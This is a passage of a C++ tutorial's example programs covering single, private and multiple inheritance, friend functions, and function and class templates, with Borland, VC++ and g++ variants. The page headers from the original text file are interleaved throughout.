#include <stdlib.h>

//-----base and derived class declaration part----


class vehicle
{
protected:
int wheels;
double weight;
public:

file:///C|/Tutorial.txt (231 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

vehicle(void)
{ wheels = 7; weight = 11111.0;
cout<<"Constructor #1, own by base class"<<'\n';}
vehicle(int input_wheels, double input_weight)
{ wheels = input_wheels; weight = input_weight;
cout<<"Constructor #2, own by base class"<<'\n';}

void initialize(int input_wheels, double input_weight);


int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

class car : public vehicle


{
int passenger_load;
public:
car(void)
{passenger_load = 4; cout<<"Constructor #3, derived class, car"<<"\n\n";}

car(int people, int input_wheels, double input_weight):vehicle(input_wheels, input_weight),passenger_load(people)


{cout<<"Constructor #4 derived class, car"<<'\n'; }

void initialize(int input_wheels, double input_weight, int people = 4);


int passengers(void) {return passenger_load;}
};

class truck : public vehicle


{
int passenger_load;
double payload;
public:
truck(void)
{passenger_load = 3;
payload = 22222.0;}

truck(int people, double load, int input_wheels, double


input_weight):vehicle(input_wheels,
input_weight),passenger_load(people),
payload(load)
{ }
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//-----main program-----
int main()
{
vehicle unicycle;

unicycle.initialize(1, 12.5);

cout<<"The unicycle has " <<unicycle.get_wheels()<<" wheel.\n";


cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

file:///C|/Tutorial.txt (232 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

car sedan_car[3];
//an array of object with 3 elements
int index;
//variable used for counter
for (index = 0 ; index < 3 ; index++)
//count and execute
{
sedan_car[index].initialize(4, 3500.0, 5);
cout<<"Count no. #" <<index<<'\n';
cout<<"The sedan car carries "<<sedan_car[index].passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car[index].get_weight()<<" kg.\n";
cout<<"The sedan car's wheel load is "<<sedan_car[index].wheel_load()<<" kg per tire.\n\n";
}

truck *trailer; //pointer

trailer = new truck;


//initialize to point to something...point to an object

if (trailer == NULL)
{
cout<<"Memory allocation failed\n";
exit(EXIT_FAILURE);
}
trailer->initialize(18, 12500.0);
trailer->init_truck(1, 33675.0);
cout<<"The trailer weighs " << trailer->get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer->efficiency()<<" %.\n";

delete trailer;
//deallocate the object

system("pause");
return 0;
}

//-----base and derived class implementation part----


// initialize to any data desired
void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

void car::initialize(int input_wheels, double input_weight, int people)


{
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;

file:///C|/Tutorial.txt (233 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

-------------------------------------------------------------------------------------------------

//Using friend function...


#include <iostream.h>
#include <stdlib.h>

class SampleFriend
{
//private member variable
int i;
friend int friend_funct(SampleFriend *, int);
//friend_funct is not private,
//even though it's declared in the private section
public:
//constructor
SampleFriend(void) { i = 0;};
int member_funct(int);
};

//implementation part, both functions access private int i


int friend_funct(SampleFriend *xptr, int a)
{
return xptr->i = a;
}

int SampleFriend::member_funct(int a)
{
return i = a;
}

main()
{
SampleFriend xobj;
//note the difference in function calls

cout<<"\nfriend_funct(&xobj, 10) is "<<friend_funct(&xobj, 10)<<"\n\n";


cout<<"xobj.member_funct(10) is "<<xobj.member_funct(10)<<endl;
system("pause");
}

--------------------------------------------------------------------------------------------------------

//inheritance again...
//notice the sequence of the constructor
//and destructor, and private, public,
//protected usage...
#include <iostream.h>

file:///C|/Tutorial.txt (234 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;

//available to this and derived classes...


protected:
int BaseVarOne;

//available to the derived and outside classes...


public:
Base();
Base(int NewX);
~Base();
public:
int SetBaseData();
int ShowBaseData(){return BaseVar;}
int SimilarNameFunct();
};

class DerivedOne:public Base


{
//available to this class member functions ONLY...
private:
int DerivedOneVar;
int ExtraDerivedVar;

//available to the derived and outside classes...


public:
DerivedOne();
~DerivedOne();

//available to the derived and outside classes...


public:
void SetDerivedOneData();
int ShowDerivedOneData()
{
//BaseVarOne is base class protected member
//variable, available to this derived class...
return (DerivedOneVar + BaseVarOne);
}
int SimilarNameFunct();
};

//base class constructor...


Base::Base()
{
BaseVar = 100;
//constructor counter...
static int p;
cout<<"Invoking base class constructor #"<<p<<endl;

file:///C|/Tutorial.txt (235 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

p++;
}

//another base class constructor...


Base::Base(int)
{
//constructor counter...
static int t;
cout<<"Invoking 2nd base class constructor #"<<t<<endl;
t++;
BaseVar = NewX;
}

//base class member function...


int Base::SetBaseData()
{ return NewX = 230;}

int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}

//base class destructor...


Base::~Base()
{
//destructor counter...
static int q;
cout<<"Invoking base class destructor #"<<q<<endl;
q++;
}

//derived class constructor...


DerivedOne::DerivedOne()
{
DerivedOneVar = 200;
//this member variable is inherited from protected base class
BaseVarOne = 250;

//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}

//derived class destructor...


DerivedOne::~DerivedOne()
{
//destructor counter...
static int s;
cout<<"Invoking derived class destructor #"<<s<<endl;
s++;
}

void DerivedOne::SetDerivedOneData()
{}

//same member function name as base class


//it is valid since they are from different class

file:///C|/Tutorial.txt (236 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int DerivedOne::SimilarNameFunct()
{return ExtraDerivedVar = 260;}

void main()
{
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;

Base ObjThree;

cout<<"Base class data = "<<ObjOne.ShowBaseData()<<endl;


cout<<"SimilarNameFunct() of base class = "<<ObjFour.SimilarNameFunct()<<endl;
cout<<"DerivedOne class data = "<<ObjTwo.ShowDerivedOneData()<<endl;
cout<<"SimilarNameFunct() of derived class = "<<ObjFive.SimilarNameFunct()<<endl;
cout<<"Another base class data = "<<ObjThree.SetBaseData()<<endl;

system("pause");
}

---------------------------------------------VC++/VC++ .Net--------------------------------------------

//Program inherit3.cpp
#include <iostream>
using namespace std;

//-----base and derived class declaration part-----


class vehicle
{
protected:
int wheels;
double weight;

public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

//public keyword changed to private - private inheritance


class car : private vehicle
{
int passenger_load;

public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};

//public keyword change to private - private inheritance


class truck : private vehicle
{
int passenger_load;
double payload;
public:

file:///C|/Tutorial.txt (237 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void init_truck(int how_many = 4, double max_load = 24000.0);


double efficiency(void);
int passengers(void) {return passenger_load;}
};

//-----main program----
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);

cout<<"Using base class, vehicle with public methods\n";


cout<<"---------------------------------------------\n";
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
sedan_car.initialize(4, 3500.0, 5);

cout<<"\nThese two are public-->sedan_car.initialize(4,3500.0,5)\n";


cout<<" and sedan_car.passengers()\n";
cout<<"-------------------------------------------------------\n";
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
//methods get_weight() and wheel_load() not available
//because we use private inheritance
//cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
//cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);

cout<<"\nThese are public-->trailer.init_truck(1, 33675.0),\n";


cout<<" trailer.efficiency() and trailer.passengers()\n";
cout<<"--------------------------------------------------\n";
cout<<"\nOthers are private...\n";
//methods get_weight() and efficiency() not available
//because we use private inheritance
//cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
//cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
return 0;
}

//-----class implementation part------


// initialize to any data desired, method own by base class
void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

//method own by derived class


void car::initialize(int input_wheels, double input_weight, int people)
{ //wheels and weight still available because of the protected keyword

file:///C|/Tutorial.txt (238 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

-----------------------------------------------G++ on Linux/Fedora-------------------------------------------------

/////-herit.cpp-///////////////////////
//notice the sequence of the constructor
//and destructor, and the use of private,
//public and protected. The inheritance...
//////-FEDORA 3, g++ x.x.x-/////////////
#include <iostream>
using namespace std;

class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;

//available to this and derived classes...


protected:
int BaseVarOne;

//available to the derived and outside classes...


public:
Base();
Base(int NewX);
~Base();
public:
int SetBaseData();
int ShowBaseData(){return BaseVar;}
int SimilarNameFunct();
};

class DerivedOne:public Base


{
//available to this class member functions ONLY...
private:
int DerivedOneVar;
int ExtraDerivedVar;

file:///C|/Tutorial.txt (239 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//available to the derived and outside classes...


public:
DerivedOne();
~DerivedOne();

//available to the derived and outside classes...


public:
void SetDerivedOneData();
int ShowDerivedOneData()
{
//BaseVarOne is base class protected member
//variable, available to this derived class...
return (DerivedOneVar + BaseVarOne);
}
int SimilarNameFunct();
};

//base class constructor...


Base::Base()
{
BaseVar = 100;
//constructor counter...
static int p;
cout<<"Invoking base class constructor #"<<p<<endl;
p++;
}

//another base class constructor...


Base::Base(int)
{
//constructor counter...
static int t;
cout<<"Invoking 2nd base class constructor #"<<t<<endl;
t++;
BaseVar = NewX;
}

//base class member function...


int Base::SetBaseData()
{return NewX = 230;}

int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}

//base class destructor...


Base::~Base()
{
//destructor counter...
static int q;
cout<<"Invoking base class destructor #"<<q<<endl;
q++;
}

//derived class constructor...


DerivedOne::DerivedOne()
{

file:///C|/Tutorial.txt (240 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

DerivedOneVar = 200;
//this member variable is inherited from protected base class
BaseVarOne = 250;

//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}

//derived class destructor...


DerivedOne::~DerivedOne()
{
//destructor counter...
static int s;
cout<<"Invoking derived class destructor #"<<s<<endl;
s++;
}

void DerivedOne::SetDerivedOneData()
{}

//same member function name as base class


//it is valid since they are from different class
int DerivedOne::SimilarNameFunct()
{return ExtraDerivedVar = 260;}

int main()
{
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;

Base ObjThree;

cout<<"Base class data = "<<ObjOne.ShowBaseData()<<endl;


cout<<"SimilarNameFunct() of base class = "<<ObjFour.SimilarNameFunct()<<endl;
cout<<"DerivedOne class data = "<<ObjTwo.ShowDerivedOneData()<<endl;
cout<<"SimilarNameFunct() of derived class = "<<ObjFive.SimilarNameFunct()<<endl;
cout<<"Another base class data = "<<ObjThree.SetBaseData()<<endl;
return 0;
}

============================MODULE16=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |

file:///C|/Tutorial.txt (241 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//program mulinher1.cpp. For VC++/VC++ .Net or other C++


//standard compliance compiler, change the header files accordingly...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

//-----class declaration and implementation part-------


//-----base class number one--------
class moving_van
{
protected:
float payload;
float gross_weight;

file:///C|/Tutorial.txt (242 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float mpg;
//this variable only available for derived class
//because of the protected keyword
public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};

float efficiency(void)
{
return (payload / (payload + gross_weight));
};

float cost_per_ton(float fuel_cost)


{
return (fuel_cost / (payload / 2000.0));
};
};

//-----base class number two---


class driver
{
protected:
float hourly_pay;
public:
void initialize(float pay) {hourly_pay = pay; };
float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
};

//-----derived class--------
//inherit from two different base classes
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{ payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

float cost_per_full_day(float cost_of_gas)


{
return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
};
};

//-----main program----
int main()
{
//instantiate an object…
driven_truck john_merc;
john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);

file:///C|/Tutorial.txt (243 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"The efficiency of the Merc truck is "<<john_merc.efficiency()<<" %\n";


cout<<"The cost per mile for John to drive Merc is $"<<john_merc.cost_per_mile()<<"\n";
cout<<"The cost per day for John to drive Merc is $"<<john_merc.cost_per_full_day(1.129)<<"\n";

system("pause");

return 0;
}

----------------------------------------------------------------------------------------------------

//Program mulinher2.cpp
#include <iostream.h>
#include <stdlib.h>

//-----declaration and implementation class part------


//-----base class number one-----
class moving_van
{
protected:
float payload;
float gross_weight;
float mpg;
public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};

float efficiency(void)
{
return (payload / (payload + gross_weight));
};

float cost_per_ton(float fuel_cost)


{
return (fuel_cost / (payload / 2000.0));
};

float cost_per_full_day(float cost_of_gas) //number one


{
return (8.0 * cost_of_gas * 55.0 / mpg);
};
};

//-------base class number two-------


class driver
{
protected:
float hourly_pay;
public:
//same method name as in moving van class…
void initialize(float pay) {hourly_pay = pay; };

file:///C|/Tutorial.txt (244 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float cost_per_mile(void) {return (hourly_pay / 55.0); } ;


float cost_per_full_day(float overtime_premium) //number two
{return (8.0 * hourly_pay); };
};

//------derived class------
//notice also the duplicated method names used
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

float cost_per_full_day(float cost_of_gas) //number three


{
return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
};
};

//------main program-------
int main()
{
driven_truck john_merc;

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);


cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";
cout<<"The cost per mile for John to drive is $"<<john_merc.cost_per_mile()<<"\n\n";

cout<<" calling the appropriate method using:\n";


cout<<" john_merc.moving_van::cost_per_full_day()\n";
cout<<"--------------------------------------------\n";
cout<<"The cost per day for the Merc is $"<<john_merc.moving_van::cost_per_full_day(1.129)<<"\n\n";

cout<<" calling the appropriate method using:\n";


cout<<" john_merc.driver::cost_per_full_day()\n";
cout<<"----------------------------------------\n";
cout<<"The cost of John for a full day is $"<<john_merc.driver::cost_per_full_day(15.75)<<"\n\n";

cout<<" calling the appropriate method using:\n";


cout<<" john_merc.driven_truck::cost_per_full_day()\n";
cout<<"----------------------------------------------\n";
cout<<"The cost per day for John to drive Merc is $"<<john_merc.driven_truck::cost_per_full_day(1.129)<<"\n";

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------------

//Program mulinher3.cpp
#include <iostream.h>

file:///C|/Tutorial.txt (245 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

//------class declaration and implementation part--------


//------class number one-----------
class moving_van
{
protected:
float payload;
float weight; //note this variable
float mpg;
public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
weight = gw;
mpg = input_mpg;
};

float efficiency(void)
{ return(payload / (payload + weight)); };

float cost_per_ton(float fuel_cost)


{ return (fuel_cost / (payload / 2000.0)); };
};

//-----class number two-----


class driver
{
protected:
float hourly_pay;
float weight; //another weight variable
//variable with same name as in class number one
public:
void initialize(float pay, float input_weight)
//same method name but different number of parameter
{
hourly_pay = pay;
weight = input_weight;
};
float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
float drivers_weight(void) {return (weight); };
};

//-----------derived class with multi inheritance---------


//---------declaration and implementation-----------------
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
//another same method name but different number of parameter
{
payload = pl;
moving_van::weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

file:///C|/Tutorial.txt (246 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float cost_per_full_day(float cost_of_gas)


{ return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg); };

float total_weight(void)
//see, how to call different variables with same name
{
cout<<"\nCalling appropriate member variable\n";
cout<<"---->(moving_van::weight)+(driver::weight)\n";
cout<<"------------------------------------------\n";
return ((moving_van::weight) + (driver::weight));
};
};

//----the main program-------


int main()
{
driven_truck john_merc;

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);


//accessing the derived class method
john_merc.driver::initialize(15.50, 250.0);
//accessing the base class number two

cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";


cout<<"The cost per mile for John to drive is $"<<john_merc.cost_per_mile()<<"\n";
cout<<"The cost per day for John to drive Merc is $"<<john_merc.cost_per_full_day(1.129)<<"\n";
cout<<"The total weight is "<<john_merc.total_weight()<<" ton\n";

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------

//Using function template


#include <iostream.h>
#include <stdlib.h>

//-----template declaration-------
template
<class ANY_TYPE> ANY_TYPE maximum(ANY_TYPE a, ANY_TYPE b)
{
return (a > b) ? a : b;
}

//------main program-------
int main(void)
{
int x = 10, y = -9;
float real = 3.1415;
char ch = 'C';

cout<<"maximum("<<x<<", "<<y<<") = "<<maximum(x, y)<<"\n";


cout<<"maximum(-47, "<<y<<") = "<<maximum(-47,y)<<"\n";
cout<<"maximum("<<real<<", "<<float(y)<<") = "<<maximum(real,float(y))<<"\n";

file:///C|/Tutorial.txt (247 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"maximum("<<real<<", "<<float(x)<<") = "<<maximum(real,float(x))<<"\n";


cout<<"maximum("<<ch<<", "<<'A'<<") = "<<maximum(ch, 'A')<<"\n";

system("pause");

return 0;
}

--------------------------------------------------------------------------------------------------

//Class template
#include <iostream.h>
#include <stdlib.h>

const int MAXSIZE = 128;

//----class template------
template <class ANY_TYPE> class stack
{
ANY_TYPE array[MAXSIZE];
int stack_pointer;
public:
stack(void) { stack_pointer = 0; };
void push(ANY_TYPE input_data){ array[stack_pointer++] = input_data; };
ANY_TYPE pop(void) { return array[--stack_pointer]; };
int empty(void) { return (stack_pointer == 0); };
};

char name[] = "Testing, this is an array, name[]";

//------main program-------
int main(void)
{
int x = 30, y = -10;
float real = 4.2425;

stack<int> int_stack;
stack<float> float_stack;
stack<char *> string_stack;

//storing data
int_stack.push(x);
int_stack.push(y);
int_stack.push(67);

float_stack.push(real);
float_stack.push(-20.473);
float_stack.push(107.03);

string_stack.push("This is the first line of string");


string_stack.push("This is the second line of string");
string_stack.push("This is the third line of string");
string_stack.push(name);

//displaying data
cout<<"---------------Displaying data--------------------\n";

file:///C|/Tutorial.txt (248 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nInteger stack\n";
cout<<"-------------\n";
cout<<"Access using int_stack.pop(), first time : "<<int_stack.pop()<<"\n";
cout<<"Access using int_stack.pop(), second time: "<<int_stack.pop()<<"\n";
cout<<"Access using int_stack.pop(), third time : "<<int_stack.pop()<<"\n";

cout<<"\nFloat stack\n";
cout<<"-------------\n";
cout<<"Access using float_stack.pop(), first time : "<<float_stack.pop()<<"\n";
cout<<"Access using float_stack.pop(), second time: "<<float_stack.pop()<<"\n";
cout<<"Access using float_stack.pop(), third time : "<<float_stack.pop()<<"\n";

cout<<"\nString stack\n";
cout<<"-------------\n";
do
{
cout<<"Access using string_stack.pop(): "<<string_stack.pop()<<"\n";
} while (!string_stack.empty());

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------

//multiple inheritance program example...


#include <iostream.h>
#include <stdlib.h>

//---class declaration part---


//base class....
class MyFather
{
protected:
char* EyeColor;
char* HairType;
double FamSaving;
int FamCar;

public:
MyFather(){}
~MyFather(){}
char* ShowEyeColor();
char* ShowHairType();
long double FamilySaving();
int FamilyCar();
};

//another base class...


class MyMother
{
//notice the same member variables names
//as in MyFather class...
protected:
char* EyeColor;

file:///C|/Tutorial.txt (249 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char* HairType;
int FamHouse;

public:
MyMother(){}
~MyMother(){}
char* ShowMotherEye();
char* ShowMotherHair();
int FamilyHouse();
};

//single inheritance derived class...


//aaahhh!!! my class :-) finally!!!
class MySelf:public MyFather
{
//another member variables with same names...
char* HairType;
char* Education;

public:
MySelf(){}
~MySelf(){}
char* ShowMyHair();
char* ShowMyEducation();
};

//multiple inheritance derived class...


//notice the keyword public must follow every
//parent class list as needed...
class MySister:public MyFather,public MyMother
{
char* SisEye;
float MonAllowance;

public:
MySister(){}
~MySister(){}
char* ShowSisEye();
float ShowSisAllownace();
};

//-----class implementation part-----


char* MyFather::ShowEyeColor()
{return EyeColor = "Brown";}

char* MyFather::ShowHairType()
{return HairType = "Bald";}

long double MyFather::FamilySaving()


{return FamSaving = 100000L;}

int MyFather::FamilyCar()
{return FamCar = 4;}

char* MyMother::ShowMotherEye()
{return EyeColor = "Blue";}

file:///C|/Tutorial.txt (250 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char* MyMother::ShowMotherHair()
{return HairType = "Curly Blonde";}

int MyMother::FamilyHouse()
{return FamHouse = 3;}

char* MySelf::ShowMyHair()
{return HairType = "Straight Black";}

char* MySelf::ShowMyEducation()
{return Education = "Post Graduate";}

char* MySister::ShowSisEye()
{return SisEye = "Black";}

float MySister::ShowSisAllownace()
{return MonAllowance = 1000.00;}

//------main program------
int main()
{
//instatiate the objects...
MyFather ObjFat;
MyMother ObjMot;
MySelf ObjSelf;
MySister ObjSis;

cout<<"--My father's data--"<<endl;


cout<<"His eye: "<<ObjFat.ShowEyeColor()<<"\n"
<<"His hair: "<<ObjFat.ShowHairType()<<"\n"
<<"Family Saving: USD"<<ObjFat.FamilySaving()<<"\n"
<<"Family Car: "<<ObjFat.FamilyCar()<<" cars.\n";

cout<<"\n--My mother's data--"<<endl;


cout<<"Her eye: "<<ObjMot.ShowMotherEye()<<endl;
cout<<"Her hair: "<<ObjMot.ShowMotherHair()<<endl;
cout<<"Our family house: "<<ObjMot.FamilyHouse()<<" houses."<<endl;

//notice how to access the base/parent class member functions


//through the child or derived objects...
cout<<"\n--My data--"<<endl;
cout<<"My Hair: "<<ObjSelf. ShowMyHair()<<endl;
cout<<"My family saving: USD"<<ObjSelf.MySelf::FamilySaving()<<endl;
cout<<"My family car: "<<ObjSelf.MySelf::FamilyCar()<<" cars."<<endl;
cout<<"My education: "<<ObjSelf.ShowMyEducation()<<endl;

cout<<"\n--My sister's data--"<<endl;


cout<<"Her eye: "<<ObjSis. ShowSisEye()<<endl;
cout<<"Our family saving: USD"<<ObjSis.MySister::FamilySaving()<<endl;
cout<<"Our family car: "<<ObjSis.MySister::FamilyCar()<<" cars."<<endl;
cout<<"Our family house: "<<ObjSis.MySister::FamilyHouse()<<" houses."<<endl;
cout<<"Her monthly allowances: USD"<<ObjSis.ShowSisAllownace()<<endl;

system("pause");
return 0;

file:///C|/Tutorial.txt (251 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------------------

//another simple multiple


//inheritance program example...
#include <iostream.h>
#include <stdlib.h>

//-------class declaration and implementation-------


//-------part-------
//base class...
class Base1
{
protected:
int SampleDataOne;
public:
Base1(){SampleDataOne = 100;}
~Base1(){}

int SampleFunctOne()
{return SampleDataOne;}

};

//another base class...


class Base2
{
protected:
int SampleDataTwo;
public:
Base2(){SampleDataTwo = 200;}
~Base2(){}

int SampleFunctTwo()
{return SampleDataTwo;}
};

//derived class...
class Derived1:public Base1,public Base2
{
int MyData;
public:
Derived1(){MyData = 300;}
~Derived1(){}
int MyFunct()
{
//the protected data of the base classes are available
//for this derived class...
return (MyData + SampleDataOne + SampleDataTwo);
}
};

//----main program------
int main()

file:///C|/Tutorial.txt (252 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
//instantiate objects...
Base1 SampleObjOne;
Base2 SampleObjTwo;
Derived1 SampleObjThree;

cout<<"Normal access Base1 class data: "<<SampleObjOne.SampleFunctOne()<<endl;


cout<<"Normal access Base2 class data: "<<SampleObjTwo.SampleFunctTwo()<<endl;

cout<<"Normal access Derived1 class data: "<<SampleObjThree.MyFunct()<<endl;


cout<<"\nExtracting the Base1 data through the derived class:"<<endl;
cout<<"Base1 data: "<<SampleObjThree.Base1::SampleFunctOne()<<endl;

cout<<"\nExtracting the Base2 data through the derived class:"<<endl;


cout<<"Base2 data: "<<SampleObjThree.Base2::SampleFunctTwo()<<endl;

system("pause");
return 0;
}

-----------------------------------------------VC++/VC++ .Net---------------------------------------------------

//Program mulinher3.cpp
#include <iostream>
using namespace std;

//------class declaration and implementation part--------


//------class number one-----------
class moving_van
{
protected:
double payload;
double weight; //note this variable
double mpg;
public:
void initialize(double pl, double gw, double input_mpg)
{
payload = pl;
weight = gw;
mpg = input_mpg;
};

double efficiency(void)
{ return(payload / (payload + weight)); };

double cost_per_ton(double fuel_cost)


{ return (fuel_cost / (payload / 2000.0)); };
};

//-----class number two------------


class driver
{
protected:
double hourly_pay;
double weight; //another weight variable
//variable with same name as in class number one

file:///C|/Tutorial.txt (253 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

public:
void initialize(double pay, double input_weight)
//same method name but different number of parameter
{
hourly_pay = pay;
weight = input_weight;
};
double cost_per_mile(void) {return (hourly_pay / 55.0); };
double drivers_weight(void) {return (weight); };
};

//-----------derived class with multi inheritance---------


//---------declaration and implementation-----------------
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(double pl, double gw, double input_mpg, double pay)
//another same method name but different number of parameter
{
payload = pl;
moving_van::weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

double cost_per_full_day(double cost_of_gas)


{ return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg); };

double total_weight(void)
//see, how to call different variables with same name
{
cout<<"\nCalling appropriate member variable\n";
cout<<"---->(moving_van::weight)+(driver::weight)\n";
cout<<"------------------------------------------\n";
return ((moving_van::weight) + (driver::weight));
};
};

//----the main program-----


int main()
{
driven_truck john_merc;

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);


//accessing the derived class method
john_merc.driver::initialize(15.50, 250.0);
//accessing the base class number two

cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";


cout<<"The cost per mile for John to drive is $"<<john_merc.cost_per_mile()<<"\n";
cout<<"The cost per day for John to drive Merc is $"<<john_merc.cost_per_full_day(1.129)<<"\n";
cout<<"The total weight is "<<john_merc.total_weight()<<" ton\n";
return 0;
}

-------------------------------------------G++ on Linux/Fedora--------------------------------------------------------

file:///C|/Tutorial.txt (254 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//////- multiherit.cpp-/////////
//////-multi inheritance-///////
#include <iostream>
using namespace std;

//-----declaration and implementation class part------


//-----base class number one-----
class moving_van
{
protected:
float payload;
float gross_weight;
float mpg;

public:
